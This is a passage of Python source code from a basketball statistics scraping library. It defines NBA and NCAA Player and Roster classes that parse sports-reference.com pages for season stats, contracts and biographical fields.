------- string A string representation of the season in the format 'YYYY-YY', such as '2017-18'. """ return utils._parse_field(PLAYER_SCHEME, row, 'season') def _combine_season_stats(self, table_rows, career_stats, all_stats_dict): """ Combine all stats for each season. Since all of the stats are spread across multiple tables, they should be combined into a single field which can be used to easily query stats at once. Parameters ---------- table_rows : generator A generator where each element is a row in a stats table. career_stats : generator A generator where each element is a row in the footer of a stats table. Career stats are kept in the footer, hence the usage. all_stats_dict : dictionary A dictionary of all stats separated by season where each key is the season ``string``, such as '2017-18', and the value is a ``dictionary`` with a ``string`` of 'data' and ``string`` containing all of the data. Returns ------- dictionary Returns an updated version of the passed all_stats_dict which includes more metrics from the provided table. """ most_recent_season = '' for row in table_rows: season = self._parse_season(row) try: all_stats_dict[season]['data'] += str(row) except KeyError: all_stats_dict[season] = {'data': str(row)} most_recent_season = season self._most_recent_season = most_recent_season try: all_stats_dict['career']['data'] += str(next(career_stats)) except KeyError: all_stats_dict['career'] = {'data': str(next(career_stats))} return all_stats_dict def _combine_all_stats(self, player_info): """ Pull stats from all tables into single data structure. Pull the stats from all of the requested tables into a dictionary that is separated by season to allow easy queries of the player's stats for each season. Parameters ---------- player_info : PyQuery object A PyQuery object containing all of the stats information for the requested player. Returns ------- dictionary Returns a dictionary where all stats from each table are combined by season to allow easy queries by year. """ all_stats_dict = {} for table_id in ['totals', 'advanced', 'shooting', 'advanced_pbp', 'all_salaries']: try: table_items = utils._get_stats_table(player_info, 'table#%s' % table_id) career_items = utils._get_stats_table(player_info, 'table#%s' % table_id, footer=True) # Error is thrown when player does not have the corresponding # table, such as a rookie. except (ParserError, XMLSyntaxError): continue all_stats_dict = self._combine_season_stats(table_items, career_items, all_stats_dict) return all_stats_dict def _parse_nationality(self, player_info): """ Parse the player's nationality. The player's nationality is denoted by a flag in the information section with a country code for each nation. The country code needs to pulled and then matched to find the player's home country. Once found, the '_nationality' attribute is set for the player. Parameters ---------- player_info : PyQuery object A PyQuery object containing the HTML from the player's stats page. """ for span in player_info('span').items(): if 'class="f-i' in str(span): nationality = span.text() nationality = NATIONALITY[nationality] setattr(self, '_nationality', nationality) break def _parse_player_information(self, player_info, field): """ Parse general player information. Parse general player information such as height, weight, and name. The attribute for the requested field will be set with the value prior to returning. Parameters ---------- player_info : PyQuery object A PyQuery object containing the HTML from the player's stats page. field : string A string of the attribute to parse, such as 'weight'. """ short_field = str(field)[1:] value = utils._parse_field(PLAYER_SCHEME, player_info, short_field) setattr(self, field, value) def _parse_birth_date(self, player_info): """ Parse the player's birth date. Pull the player's birth date from the player information and set the '_birth_date' attribute with the value prior to returning. Parameters ---------- player_info : PyQuery object A PyQuery object containing the HTML from the player's stats page. """ date = player_info('span[itemprop="birthDate"]').attr('data-birth') setattr(self, '_birth_date', date) def _parse_contract_headers(self, table): """ Parse the years on the contract. The years are listed as the headers on the contract. The first header contains 'Team' which specifies the player's current team and should not be included in the years. Parameters ---------- table : PyQuery object A PyQuery object containing the contract table. Returns ------- list Returns a list where each element is a string denoting the season, such as '2017-18'. """ years = [i.text() for i in table('th').items()] years.remove('Team') return years def _parse_contract_wages(self, table): """ Parse the wages on the contract. The wages are listed as the data points in the contract table. Any values that don't have a value which starts with a '$' sign are likely not valid and should be dropped. Parameters ---------- table : PyQuery object A PyQuery object containing the contract table. Returns ------- list Returns a list of all wages where each element is a string denoting the dollar amount, such as '$40,000,000'. """ wages = [i.text() if i.text().startswith('$') else '' for i in table('td').items()] wages.remove('') return wages def _combine_contract(self, years, wages): """ Combine the contract wages and year. Match the wages with the year and add to a dictionary representing the player's contract. Parameters ---------- years : list A list where each element is a string denoting the season, such as '2017-18'. wages : list A list of all wages where each element is a string denoting the dollar amount, such as '$40,000,000'. Returns ------- dictionary Returns a dictionary representing the player's contract where each key is a ``string`` of the season, such as '2017-18' and each value is a ``string`` of the wages, such as '$40,000,000'. """ contract = {} for i in range(len(years)): contract[years[i]] = wages[i] return contract def _parse_contract(self, player_info): """ Parse the player's contract. Depending on the player's contract status, a contract table is located at the bottom of the stats page and includes player wages by season. If found, create a dictionary housing the wages by season. Parameters ---------- player_info : PyQuery object A PyQuery object containing the HTML from the player's stats page. """ tables = player_info('table').items() for table in tables: id_attr = table.attr('id') if id_attr: if id_attr.startswith('contracts_'): years = self._parse_contract_headers(table) wages = self._parse_contract_wages(table) contract = self._combine_contract(years, wages) # If the contract is empty, the player likely doesn't have # a contract and should have a value of None instead. if contract == {}: contract = None setattr(self, '_contract', contract) break def _parse_player_data(self): """ Parse all player information and set attributes. Pull the player's HTML stats page and go through each class attribute to parse the data from the HTML page and set attribute value with the result. """ player_info = self._retrieve_html_page() all_stats_dict = self._combine_all_stats(player_info) for field in self.__dict__: short_field = str(field)[1:] if short_field == 'player_id' or \ short_field == 'index' or \ short_field == 'most_recent_season': continue if short_field == 'name' or \ short_field == 'weight' or \ short_field == 'height': self._parse_player_information(player_info, field) continue if short_field == 'nationality': self._parse_nationality(player_info) continue if short_field == 'birth_date': self._parse_birth_date(player_info) continue if short_field == 'contract': self._parse_contract(player_info) continue field_stats = [] for year, data in all_stats_dict.items(): stats = pq(data['data']) value = utils._parse_field(PLAYER_SCHEME, stats, short_field) field_stats.append(value) setattr(self, field, field_stats) def _find_initial_index(self): """ Find the index of career stats. When the Player class is instantiated, the default stats to pull are the player's career stats. Upon being called, the index of the 'Career' element should be the index value. """ index = 0 for season in self._season: if season == 'Career': self._index = index break index += 1 def __call__(self, requested_season=''): """ Specify a different season to pull stats from. A different season can be requested by passing the season string, such as '2017-18' to the class instance. Parameters ---------- requested_season : string (optional) A string of the requested season to query, such as '2017-18'. If left blank or 'Career' is passed, the career stats will be used for stats queries. Returns ------- Player class instance Returns the class instance with the updated stats being referenced. """ if requested_season.lower() == 'career' or \ requested_season == '': requested_season = 'Career' index = 0 for season in self._season: if season == requested_season: self._index = index break index += 1 return self def _dataframe_fields(self): """ Creates a dictionary of all fields to include with DataFrame. With the result of the calls to class properties changing based on the class index value, the dictionary should be regenerated every time the index is changed when the dataframe property is requested. Returns ------- dictionary Returns a dictionary where the keys are the shortened ``string`` attribute names and the values are the actual value for each attribute for the specified index. """ fields_to_include = { 'and_ones': self.and_ones, 'assist_percentage': self.assist_percentage, 'assists': self.assists, 'block_percentage': self.block_percentage, 'blocking_fouls': self.blocking_fouls, 'blocks': self.blocks, 'box_plus_minus': self.box_plus_minus, 'center_percentage': self.center_percentage, 'defensive_box_plus_minus': self.defensive_box_plus_minus, 'defensive_rebound_percentage': self.defensive_rebound_percentage, 'defensive_rebounds': self.defensive_rebounds, 'defensive_win_shares': self.defensive_win_shares, 'dunks': self.dunks, 'effective_field_goal_percentage': self.effective_field_goal_percentage, 'field_goal_attempts': self.field_goal_attempts, 'field_goal_perc_sixteen_foot_plus_two_pointers': self.field_goal_perc_sixteen_foot_plus_two_pointers, 'field_goal_perc_ten_to_sixteen_feet': self.field_goal_perc_ten_to_sixteen_feet, 'field_goal_perc_three_to_ten_feet': self.field_goal_perc_three_to_ten_feet, 'field_goal_perc_zero_to_three_feet': self.field_goal_perc_zero_to_three_feet, 'field_goal_percentage': self.field_goal_percentage, 'field_goals': self.field_goals, 'free_throw_attempt_rate': self.free_throw_attempt_rate, 'free_throw_attempts': self.free_throw_attempts, 'free_throw_percentage': self.free_throw_percentage, 'free_throws': self.free_throws, 'games_played': self.games_played, 'games_started': self.games_started, 'half_court_heaves': self.half_court_heaves, 'half_court_heaves_made': self.half_court_heaves_made, 'height': self.height, 'lost_ball_turnovers': self.lost_ball_turnovers, 'minutes_played': self.minutes_played, 'nationality': self.nationality, 'net_plus_minus': self.net_plus_minus, 'offensive_box_plus_minus': self.offensive_box_plus_minus, 'offensive_fouls': self.offensive_fouls, 'offensive_rebound_percentage': self.offensive_rebound_percentage, 'offensive_rebounds': self.offensive_rebounds, 'offensive_win_shares': self.offensive_win_shares, 'on_court_plus_minus': self.on_court_plus_minus, 'other_turnovers': self.other_turnovers, 'passing_turnovers': self.passing_turnovers, 'percentage_field_goals_as_dunks': self.percentage_field_goals_as_dunks, 'percentage_of_three_pointers_from_corner': self.percentage_of_three_pointers_from_corner, 'percentage_shots_three_pointers': self.percentage_shots_three_pointers, 'percentage_shots_two_pointers': self.percentage_shots_two_pointers, 'percentage_sixteen_foot_plus_two_pointers': self.percentage_sixteen_foot_plus_two_pointers, 'percentage_ten_to_sixteen_footers': self.percentage_ten_to_sixteen_footers, 'percentage_three_to_ten_footers': self.percentage_three_to_ten_footers, 'percentage_zero_to_three_footers': self.percentage_zero_to_three_footers, 'personal_fouls': self.personal_fouls, 'player_efficiency_rating': self.player_efficiency_rating, 'player_id': self.player_id, 'point_guard_percentage': self.point_guard_percentage, 'points': self.points, 'points_generated_by_assists': self.points_generated_by_assists, 'position': self.position, 'power_forward_percentage': self.power_forward_percentage, 'salary': self.salary, 'shooting_distance': self.shooting_distance, 'shooting_fouls': self.shooting_fouls, 'shooting_fouls_drawn': self.shooting_fouls_drawn, 'shooting_guard_percentage': self.shooting_guard_percentage, 'shots_blocked': self.shots_blocked, 'small_forward_percentage': self.small_forward_percentage, 'steal_percentage': self.steal_percentage, 'steals': self.steals, 'take_fouls': self.take_fouls, 'team_abbreviation': self.team_abbreviation, 'three_point_attempt_rate': self.three_point_attempt_rate, 'three_point_attempts': self.three_point_attempts, 'three_point_percentage': self.three_point_percentage, 'three_point_shot_percentage_from_corner': self.three_point_shot_percentage_from_corner, 'three_pointers': self.three_pointers, 'three_pointers_assisted_percentage': self.three_pointers_assisted_percentage, 'total_rebound_percentage': self.total_rebound_percentage, 'total_rebounds': self.total_rebounds, 'true_shooting_percentage': self.true_shooting_percentage, 'turnover_percentage': self.turnover_percentage, 'turnovers': self.turnovers, 'two_point_attempts': self.two_point_attempts, 'two_point_percentage': self.two_point_percentage, 'two_pointers': self.two_pointers, 'two_pointers_assisted_percentage': self.two_pointers_assisted_percentage, 'usage_percentage': self.usage_percentage, 'value_over_replacement_player': self.value_over_replacement_player, 'weight': self.weight, 'win_shares': self.win_shares, 'win_shares_per_48_minutes': self.win_shares_per_48_minutes } return fields_to_include @property def dataframe(self): """ Returns a ``pandas DataFrame`` containing all other relevant class properties and values where each index is a different season plus the career stats. """ temp_index = self._index rows = [] indices = [] for season in self._season: self._index = self._season.index(season) rows.append(self._dataframe_fields()) indices.append(season) self._index = temp_index return pd.DataFrame(rows, index=[indices]) @property def player_id(self): """ Returns a ``string`` of the player's ID on sports-reference, such as 'hardeja01' for <NAME>. """ return self._player_id @property def season(self): """ Returns a ``string`` of the season in the format 'YYYY-YY', such as '2017-18'. If no season was requested, the career stats will be returned for the player and the season will default to 'Career'. """ return self._season[self._index] @property def name(self): """ Returns a ``string`` of the players name, such as '<NAME>'. """ return self._name @property def team_abbreviation(self): """ Returns a ``string`` of the abbrevation for the team the player plays for, such as 'HOU' for <NAME>. """ return self._team_abbreviation[self._index] @_most_recent_decorator def position(self): """ Returns a ``string`` constant of the player's primary position. """ return self._position @property def height(self): """ Returns a ``string`` of the player's height in the format "feet-inches". """ return self._height @property def weight(self): """ Returns an ``int`` of the player's weight in pounds. """ return int(self._weight.replace('lb', '')) @property def birth_date(self): """ Returns a ``datetime`` object of the day and year the player was born. """ return datetime.strptime(self._birth_date, '%Y-%m-%d') @property def nationality(self): """ Returns a ``string`` constant denoting which country the player originates from. """ return self._nationality @_int_property_decorator def games_played(self): """ Returns an ``int`` of the number of games the player participated in. """ return self._games_played @_int_property_decorator def games_started(self): """ Returns an ``int`` of the number of games the player started. """ return self._games_started @_int_property_decorator def minutes_played(self): """ Returns an ``int`` of the total number of minutes the player played. """ return self._minutes_played @_int_property_decorator def field_goals(self): """ Returns an ``int`` of the total number of field goals the player scored. """ return self._field_goals @_int_property_decorator def field_goal_attempts(self): """ Returns an ``int`` of the total number of field goals the player attempted during the season. """ return self._field_goal_attempts @_float_property_decorator def field_goal_percentage(self): """ Returns a ``float`` of the player's field goal percentage during the season. Percentage ranges from 0-1. """ return self._field_goal_percentage @_int_property_decorator def three_pointers(self): """ Returns an ``int`` of the total number of three point field goals the player made. """ return self._three_pointers @_int_property_decorator def three_point_attempts(self): """ Returns an ``int`` of the total number of three point field goals the player attempted during the season. """ return self._three_point_attempts @_float_property_decorator def three_point_percentage(self): """ Returns a ``float`` of the player's three point field goal percentage during the season. Percentage ranges from 0-1. """ return self._three_point_percentage @_int_property_decorator def two_pointers(self): """ Returns an ``int`` of the total number of two point field goals the player made. """ return self._two_pointers @_int_property_decorator def two_point_attempts(self): """ Returns an ``int`` of the total number of two point field goals the player attempted during the season. """ return self._two_point_attempts @_float_property_decorator def two_point_percentage(self): """ Returns a ``float`` of the player's two point field goal percentage during the season. Percentage ranges from 0-1. """ return self._two_point_percentage @_float_property_decorator def effective_field_goal_percentage(self): """ Returns a ``float`` of the player's field goal percentage while giving extra weight to 3-point field goals. Percentage ranges from 0-1. """ return self._effective_field_goal_percentage @_int_property_decorator def free_throws(self): """ Returns an ``int`` of the total number of free throws the player made during the season. """ return self._free_throws @_int_property_decorator def free_throw_attempts(self): """ Returns an ``int`` of the total number of free throws the player attempted during the season. """ return self._free_throw_attempts @_float_property_decorator def free_throw_percentage(self): """ Returns a ``float`` of the player's free throw percentage during the season. Percentage ranges from 0-1. """ return self._free_throw_percentage @_int_property_decorator def offensive_rebounds(self): """ Returns an ``int`` of the total number of offensive rebounds the player grabbed during the season. """ return self._offensive_rebounds @_int_property_decorator def defensive_rebounds(self): """ Returns an ``int`` of the total number of defensive rebounds the player grabbed during the season. """ return self._defensive_rebounds @_int_property_decorator def total_rebounds(self): """ Returns an ``int`` of the total number of offensive and defensive rebounds the player grabbed during the season. """ return self._total_rebounds @_int_property_decorator def assists(self): """ Returns an ``int`` of the total number of assists the player tallied during the season. """ return self._assists @_int_property_decorator def steals(self): """ Returns an ``int`` of the total number of steals the player tallied during the season. """ return self._steals @_int_property_decorator def blocks(self): """ Returns an ``int`` of the total number of shots the player blocked during the season. """ return self._blocks @_int_property_decorator def turnovers(self): """ Returns an ``int`` of the total number of times the player turned the ball over during the season for any reason. """ return self._turnovers @_int_property_decorator def personal_fouls(self): """ Returns an ``int`` of the total number of personal fouls the player committed during the season. """ return self._personal_fouls @_int_property_decorator def points(self): """ Returns an ``int`` of the total number of points the player scored during the season. """ return self._points @_float_property_decorator def player_efficiency_rating(self): """ Returns a ``float`` of the player's efficiency rating which represents the player's relative production level. An average player in the league has an efficiency rating of 15. """ return self._player_efficiency_rating @_float_property_decorator def true_shooting_percentage(self): """ Returns a ``float`` of the player's true shooting percentage which takes into account two and three pointers as well as free throws. Percentage ranges from 0-1. """ return self._true_shooting_percentage @_float_property_decorator def three_point_attempt_rate(self): """ Returns a ``float`` of the percentage of field goals that are shot from beyond the 3-point arc. Percentage ranges from 0-1. """ return self._three_point_attempt_rate @_float_property_decorator def free_throw_attempt_rate(self): """ Returns a ``float`` of the number of free throw attempts per field goal attempt. """ return self._free_throw_attempt_rate @_float_property_decorator def offensive_rebound_percentage(self): """ Returns a ``float`` of the percentage of available offensive rebounds the player grabbed. Percentage ranges from 0-100. """ return self._offensive_rebound_percentage @_float_property_decorator def defensive_rebound_percentage(self): """ Returns a ``float`` of the percentage of available defensive rebounds the player grabbed. Percentage ranges from 0-100. """ return self._defensive_rebound_percentage @_float_property_decorator def total_rebound_percentage(self): """ Returns a ``float`` of the percentage of available rebounds the player grabbed, both offensive and defensive. Percentage ranges from 0-100. """ return self._total_rebound_percentage @_float_property_decorator def assist_percentage(self): """ Returns a ``float`` of the percentage of field goals the player assisted while on the floor. Percentage ranges from 0-100. """ return self._assist_percentage @_float_property_decorator def steal_percentage(self): """ Returns a ``float`` of the percentage of defensive possessions that ended with the player stealing the ball while on the floor. Percentage ranges from 0-100. """ return self._steal_percentage @_float_property_decorator def block_percentage(self): """ Returns a ``float`` of the percentage of opposing two-point field goal attempts that were blocked by the player while on the floor. Percentage ranges from 0-100. """ return self._block_percentage @_float_property_decorator def turnover_percentage(self): """ Returns a ``float`` of the average number of turnovers per 100 possessions by the player. """ return self._turnover_percentage @_float_property_decorator def usage_percentage(self): """ Returns a ``float`` of the percentage of plays the player is involved in while on the floor. Percentage ranges from 0-100. """ return self._usage_percentage @_float_property_decorator def offensive_win_shares(self): """ Returns a ``float`` of the number of wins the player contributed to the team as a result of his offensive plays. """ return self._offensive_win_shares @_float_property_decorator def defensive_win_shares(self): """ Returns a ``float`` of the number of wins the player contributed to the team as a result of his defensive plays. """ return self._defensive_win_shares @_float_property_decorator def win_shares(self): """ Returns a ``float`` of the number of wins the player contributed to the team as a result of his offensive and defensive plays. """ return self._win_shares @_float_property_decorator def win_shares_per_48_minutes(self): """ Returns a ``float`` of the number of wins the player contributed to the team per 48 minutes of playtime. An average player has a contribution of 0.100. """ return self._win_shares_per_48_minutes @_float_property_decorator def offensive_box_plus_minus(self): """ Returns a ``float`` of the number of offensive points per 100 possessions the player contributed in comparison to an average player in the league. """ return self._offensive_box_plus_minus @_float_property_decorator def defensive_box_plus_minus(self): """ Returns a ``float`` of the number of defensive points per 100 possessions the player contributed in comparison to an average player in the league. """ return self._defensive_box_plus_minus @_float_property_decorator def box_plus_minus(self): """ Returns a ``float`` of the total number of points per 100 possessions the player contributed in comparison to an average player in the league. """ return self._box_plus_minus @_float_property_decorator def value_over_replacement_player(self): """ Returns a ``float`` of the total number of points per 100 team possessions the player contributed compared to a replacement-level player (who has an average score of -2.0). This value is prorated for an 82-game season. """ return self._value_over_replacement_player @_float_property_decorator def shooting_distance(self): """ Returns a ``float`` of the average distance the player takes a shot from in feet. """ return self._shooting_distance @_float_property_decorator def percentage_shots_two_pointers(self): """ Returns a ``float`` of the percentage of shots the player takes that are 2-pointers. Percentage ranges from 0-1. """ return self._percentage_shots_two_pointers @_float_property_decorator def percentage_zero_to_three_footers(self): """ Returns a ``float`` of the percentage of shots the player takes from zero to three feet from the basket. Percentage ranges from 0-1. """ return self._percentage_zero_to_three_footers @_float_property_decorator def percentage_three_to_ten_footers(self): """ Returns a ``float`` of the percentage of shots the player takes from three to ten feet from the basket. Percentage ranges from 0-1. """ return self._percentage_three_to_ten_footers @_float_property_decorator def percentage_ten_to_sixteen_footers(self): """ Returns a ``float`` of the percentage of shots the player takes from ten to sixteen feet from the basket. Percentage ranges from 0-1. """ return self._percentage_ten_to_sixteen_footers @_float_property_decorator def percentage_sixteen_foot_plus_two_pointers(self): """ Returns a ``float`` of the percentage of shots the player takes that are greater than sixteen feet from the basket, but in front of or on the three point arc. Percentage ranges from 0-1. """ return self._percentage_sixteen_foot_plus_two_pointers @_float_property_decorator def percentage_shots_three_pointers(self): """ Returns a ``float`` of the percentage of shots the player takes from beyond the three point arc. Percentage ranges from 0-1. """ return self._percentage_shots_three_pointers @_float_property_decorator def field_goal_perc_zero_to_three_feet(self): """ Returns a ``float`` of the player's field goal percentage for shots between zero and three feet from the basket. Percentage ranges from 0-1. """ return self._field_goal_perc_zero_to_three_feet @_float_property_decorator def field_goal_perc_three_to_ten_feet(self): """ Returns a ``float`` of the player's field goal percentage for shots between three and ten feet from the basket. Percentage ranges from 0-1. """ return self._field_goal_perc_three_to_ten_feet @_float_property_decorator def field_goal_perc_ten_to_sixteen_feet(self): """ Returns a ``float`` of the player's field goal percentage for shots between ten and sixteen feet from the basket. Percentage ranges from 0-1. """ return self._field_goal_perc_ten_to_sixteen_feet @_float_property_decorator def field_goal_perc_sixteen_foot_plus_two_pointers(self): """ Returns a ``float`` of the player's field goal percentage for shots that are greater than sixteen feet from the basket, but in front of or on the three point arc. Percentage ranges from 0-1. """ return self._field_goal_perc_sixteen_foot_plus_two_pointers @_float_property_decorator def two_pointers_assisted_percentage(self): """ Returns a ``float`` of the percentage of 2-point field goals by the player that are assisted. Percentage ranges from 0-1. """ return self._two_pointers_assisted_percentage @_float_property_decorator def percentage_field_goals_as_dunks(self): """ Returns a ``float`` of the percentage of the player's shot attempts that are dunks. Percentage ranges from 0-1. """ return self._percentage_field_goals_as_dunks @_int_property_decorator def dunks(self): """ Returns an ``int`` of the total number of dunks the player made during the season. """ return self._dunks @_float_property_decorator def three_pointers_assisted_percentage(self): """ Returns a ``float`` of the percentage of 3-point field goals by the player that are assisted. Percentage ranges from 0-1. """ return self._three_pointers_assisted_percentage @_float_property_decorator def percentage_of_three_pointers_from_corner(self): """ Returns a ``float`` of the percentage of 3-point shots the player attempted from the corner. Percentage ranges from 0-1. """ return self._percentage_of_three_pointers_from_corner @_float_property_decorator def three_point_shot_percentage_from_corner(self): """ Returns a ``float`` of the percentage of 3-pointers from the corner that went in. Percentage ranges from 0-1. """ return self._three_point_shot_percentage_from_corner @_int_property_decorator def half_court_heaves(self): """ Returns an ``int`` of the number of shots the player took from beyond mid-court. """ return self._half_court_heaves @_int_property_decorator def half_court_heaves_made(self): """ Returns an ``int`` of the number of shots the player made from beyond mid-court. """ return self._half_court_heaves_made @_int_property_decorator_default_zero def point_guard_percentage(self): """ Returns an ``int`` of the percentage of time the player spent as a point guard. Percentage ranges from 0-100 and is rounded to the nearest whole number. """ return self._point_guard_percentage @_int_property_decorator_default_zero def shooting_guard_percentage(self): """ Returns an ``int`` of the percentage of time the player spent as a shooting guard. Percentage ranges from 0-100 and is rounded to the nearest whole number. """ return self._shooting_guard_percentage @_int_property_decorator_default_zero def small_forward_percentage(self): """ Returns an ``int`` of the percentage of time the player spent as a small forward. Percentage ranges from 0-100 and is rounded to the nearest whole number. """ return self._small_forward_percentage @_int_property_decorator_default_zero def power_forward_percentage(self): """ Returns an ``int`` of the percentage of time the player spent as a power forward. Percentage ranges from 0-100 and is rounded to the nearest whole number. """ return self._power_forward_percentage @_int_property_decorator_default_zero def center_percentage(self): """ Returns an ``int`` of the percentage of time the player spent as a center. Percentage ranges from 0-100 and is rounded to the nearest whole number. """ return self._center_percentage @_float_property_decorator def on_court_plus_minus(self): """ Returns a ``float`` of the number of points the player contributes to the team while on the court per 100 possessions. """ return self._on_court_plus_minus @_float_property_decorator def net_plus_minus(self): """ Returns a ``float`` of the net number of points the player contributes to the team per 100 possessions regardless of being on the floor or not. """ return self._net_plus_minus @_int_property_decorator def passing_turnovers(self): """ Returns an ``int`` of the total number of turnovers the player committed due to a bad pass. """ return self._passing_turnovers @_int_property_decorator def lost_ball_turnovers(self): """ Returns an ``int`` of the total number of turnovers the player committed due to losing the ball. """ return self._lost_ball_turnovers @_int_property_decorator def other_turnovers(self): """ Returns an ``int`` of the total number of all other non-passing/ dribbling turnovers the player committed. """ return self._other_turnovers @_int_property_decorator def shooting_fouls(self): """ Returns an ``int`` of the total number of shooting fouls the player committed. """ return self._shooting_fouls @_int_property_decorator def blocking_fouls(self): """ Returns an ``int`` of the total number of blocking fouls the player committed. """ return self._blocking_fouls @_int_property_decorator def offensive_fouls(self): """ Returns an ``int`` of the total number of offensive fouls the player committed. """ return self._offensive_fouls @_int_property_decorator def take_fouls(self): """ Returns an ``int`` of the total number of take fouls the player committed by taking a foul before the offensive player has a chance to make a shooting motion. """ return self._take_fouls @_int_property_decorator def points_generated_by_assists(self): """ Returns an ``int`` of the total number of points the player generated as a result of him assisting the shooter. """ return self._points_generated_by_assists @_int_property_decorator def shooting_fouls_drawn(self): """ Returns an ``int`` of the total number of shooting fouls the player drew during the season. """ return self._shooting_fouls_drawn @_int_property_decorator def and_ones(self): """ Returns an ``int`` of the total number of times the player was fouled in the act of shooting and made the basket. """ return self._and_ones @_int_property_decorator def shots_blocked(self): """ Returns an ``int`` of the total number of shots the player took that were blocked by an opposing player. """ return self._shots_blocked @_int_property_decorator def salary(self): """ Returns an ``int`` of the player's annual salary rounded down. """ return self._salary @property def contract(self): """ Returns a ``dictionary`` of the player's contract details where the key is a ``string`` of the season, such as '2018-19', and the value is a ``string`` of the salary, such as '$40,000,000'. """ return self._contract class Roster(object): """ Get stats for all players on a roster. Request a team's roster for a given season and create instances of the Player class for each player, containing a detailed list of the players statistics and information. Parameters ---------- team : string The team's 3-letter abbreviation, such as 'HOU' for the Houston Rockets. year : string (optional) The 4-digit year to pull the roster from, such as '2018'. If left blank, defaults to the most recent season. """ def __init__(self, team, year=None): self._team = team self._players = [] self._find_players(year) def _pull_team_page(self, url): """ Download the team page. Download the requested team's season page and create a PyQuery object. Parameters ---------- url : string A string of the built URL for the requested team and season. Returns ------- PyQuery object Returns a PyQuery object of the team's HTML page. """ try: return pq(url) except HTTPError: return None def _create_url(self, year): """ Build the team URL. Build a URL given a team's 3-letter abbreviation and the 4-digit year. Parameters ---------- year : string The 4-digit string representing the year to pull the team's roster from. Returns ------- string Returns a string of the team's season page for the requested team and year. """ return ROSTER_URL % (self._team.upper(), year) def _get_id(self, player): """ Parse the player ID. Given a PyQuery object representing a single player on the team roster, parse the player ID and return it as a string. Parameters ---------- player : PyQuery object A PyQuery object representing the player information from the roster table. Returns ------- string Returns a string of the player ID. """ name_tag = player('td[data-stat="player"] a') name = re.sub(r'.*/players/./', '', str(name_tag)) return re.sub(r'\.html.*', '', name) def _find_players(self, year): """ Find all player IDs for the requested team. For the requested team and year (if applicable), pull the roster table and parse the player ID for all players on the roster and create an instance of the Player class for the player. All player instances are added to the 'players' property to get all stats for all players on a team. Parameters ---------- year : string The 4-digit string representing the year to pull the team's roster from. """ if not year: year = utils._find_year_for_season('nba') url = self._create_url(year) page = self._pull_team_page(url) if not page: output = ("Can't pull requested team page. Ensure the following " "URL exists: %s" % url) raise ValueError(output) players = page('table#roster tbody tr').items() for player in players: player_id = self._get_id(player) player_instance = Player(player_id) self._players.append(player_instance) @property def players(self): """ Returns a ``list`` of player instances for each player on the requested team's roster. """ return self._players ``` #### File: sportsreference/ncaab/roster.py ```python import pandas as pd import re from functools import wraps from pyquery import PyQuery as pq from .. import utils from .constants import PLAYER_SCHEME, PLAYER_URL, ROSTER_URL from six.moves.urllib.error import HTTPError def _cleanup(prop): try: prop = prop.replace('%', '') prop = prop.replace(',', '') return prop.replace('+', '') # Occurs when a value is of Nonetype. When that happens, return a blank # string as whatever have come in had an incomplete value. except AttributeError: return '' def _int_property_decorator(func): @property @wraps(func) def wrapper(*args): index = args[0]._index prop = func(*args) value = _cleanup(prop[index]) try: return int(value) except ValueError: # If there is no value, default to None return None return wrapper def _float_property_decorator(func): @property @wraps(func) def wrapper(*args): index = args[0]._index prop = func(*args) value = _cleanup(prop[index]) try: return float(value) except ValueError: # If there is no value, default to None return None return wrapper def _most_recent_decorator(func): @property @wraps(func) def wrapper(*args): season = args[0]._most_recent_season seasons = args[0]._season index = seasons.index(season) prop = func(*args) return prop[index] return wrapper class Player(object): """ Get player information and stats for all seasons. Given a player ID, such as 'carsen-edwards-1' for Carsen Edwards, capture all relevant stats and information like name, height/weight, career three-pointers, last season's offensive rebounds, offensive points contributed, and much more. By default, the class instance will return the player's career stats, but single-season stats can be found by calling the instance with the requested season as denoted on sports-reference.com. Parameters ---------- player_id : string A player's ID according to sports-reference.com, such as 'carsen-edwards-1' for Carsen Edwards. The player ID can be found by navigating to the player's stats page and getting the string between the final slash and the '.html' in the URL. In general, the ID is in the format 'first-last-N' where 'first' is the player's first name in lowercase, 'last' is the player's last name in lowercase, and 'N' is a number starting at '1' for the first time that player ID has been used and increments by 1 for every successive player. """ def __init__(self, player_id): self._most_recent_season = '' self._index = None self._player_id = player_id self._season = None self._name = None self._team_abbreviation = None self._conference = None self._position = None self._height = None self._weight = None self._games_played = None self._games_started = None self._minutes_played = None self._field_goals = None self._field_goal_attempts = None self._field_goal_percentage = None self._three_pointers = None self._three_point_attempts = None self._three_point_percentage = None self._two_pointers = None self._two_point_attempts = None self._two_point_percentage = None self._free_throws = None self._free_throw_attempts = None self._free_throw_percentage = None self._offensive_rebounds = None self._defensive_rebounds = None self._total_rebounds = None self._assists = None self._steals = None self._blocks = None self._turnovers = None self._personal_fouls = None self._points = None self._player_efficiency_rating = None self._true_shooting_percentage = None self._effective_field_goal_percentage = None self._three_point_attempt_rate = None self._free_throw_attempt_rate = None self._points_produced = None self._offensive_rebound_percentage = None self._defensive_rebound_percentage = None self._total_rebound_percentage = None self._assist_percentage = None self._steal_percentage = None self._block_percentage = None self._turnover_percentage = None self._usage_percentage = None self._offensive_win_shares = None self._defensive_win_shares = None self._win_shares = None self._win_shares_per_40_minutes = None self._offensive_box_plus_minus = None self._defensive_box_plus_minus = None self._box_plus_minus = None self._parse_player_data() self._find_initial_index() def _retrieve_html_page(self): """ Download the requested player's stats page. Download the requested page and strip all of the comment tags before returning a pyquery object which will be used to parse the data. Returns ------- PyQuery object The requested page is returned as a queriable PyQuery object with the comment tags removed. """ url = PLAYER_URL % self._player_id try: url_data = pq(url) except HTTPError: return None return pq(utils._remove_html_comment_tags(url_data)) def _parse_season(self, row): """ Parse the season string from the table. The season is generally located in the first column of the stats tables and should be parsed to denote which season metrics are being pulled from. Parameters ---------- row : PyQuery object A PyQuery object of a single row in a stats table. Returns ------- string A string representation of the season in the format 'YYYY-YY', such as '2017-18'. """ return utils._parse_field(PLAYER_SCHEME, row, 'season') def _combine_season_stats(self, table_rows, career_stats, all_stats_dict): """ Combine all stats for each season. Since all of the stats are spread across multiple tables, they should be combined into a single field which can be used to easily query stats at once. Parameters ---------- table_rows : generator A generator where each element is a row in a stats table. career_stats : generator A generator where each element is a row in the footer of a stats table. Career stats are kept in the footer, hence the usage. all_stats_dict : dictionary A dictionary of all stats separated by season where each key is the season ``string``, such as '2017-18', and the value is a ``dictionary`` with a ``string`` of 'data' and ``string`` containing all of the data. Returns ------- dictionary Returns an updated version of the passed all_stats_dict which includes more metrics from the provided table. """ most_recent_season = '' for row in table_rows: season = self._parse_season(row) try: all_stats_dict[season]['data'] += str(row) except KeyError: all_stats_dict[season] = {'data': str(row)} most_recent_season = season self._most_recent_season = 